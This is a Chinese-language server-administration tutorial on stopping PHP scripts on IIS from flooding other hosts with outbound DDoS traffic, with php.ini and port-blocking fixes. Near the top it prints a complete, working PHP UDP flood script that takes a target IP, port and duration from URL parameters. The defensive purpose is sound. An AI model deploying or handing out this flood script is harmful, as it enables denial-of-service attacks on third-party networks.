用PHP代码调用sockets,直接用服务器的网络攻击别的IP,以前我在apache下有碰到这样的问题,今天我们讲讲述一下关于在iis防止php ddos占完网络带宽与服务器资源的处理办法.
php ddos的常见代码如下:
<?php $packets = 0; $ip = $_GET['ip']; $rand = $_GET['port']; set_time_limit(0); ignore_user_abort(FALSE); $exec_time = $_GET['time']; $time = time(); print "Flooded: $ip on port $rand "; $max_time = $time + $exec_time; for ($i = 0; $i < 65535; $i++) { $out.= "X"; } while (1) { $packets++; if (time() > $max_time) { break; } $fp = fsockopen("udp://$ip", $rand, $errno, $errstr, 5); if ($fp) { fwrite($fp, $out); fclose($fp); } } echo "Packet complete at " . time('h:i:s') . " with $packets (" . round(($packets * 65) / 1024, 2) . " mB) packets averaging " . round($packets / $exec_time, 2) . " packets/s \n";
表现特征:一打开IIS,服务器的流出带宽就用光-----就是说服务器不断向别人发包,这个情况和受到DDOS攻击是不同的,DDOS是不断收到大量数据包.
解决办法:在c:windowsphp.ini里设其值为Off,代码如下:
allow_url_fopen = Off
并且,代码如下:
;extension=php_sockets.dll
前面的;号一定要有,意思就是限制用sockets.dll
然后:代码如下:
; ignore_user_abort = On
前面的;号要去掉,然后重启IIS,如果上述方式仍然无效,你可以在IIS中,允许的扩展中,禁止PHP的扩展测试.
注:如果你的服务器不要运行机制php可以关闭,如果需要的话可以把php_sockets.dll 给禁止,还有一种办法就是把udp端口全部封了,只要80等一些重要的端口开放就可以了.
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随意转载^^但请附上教程地址。

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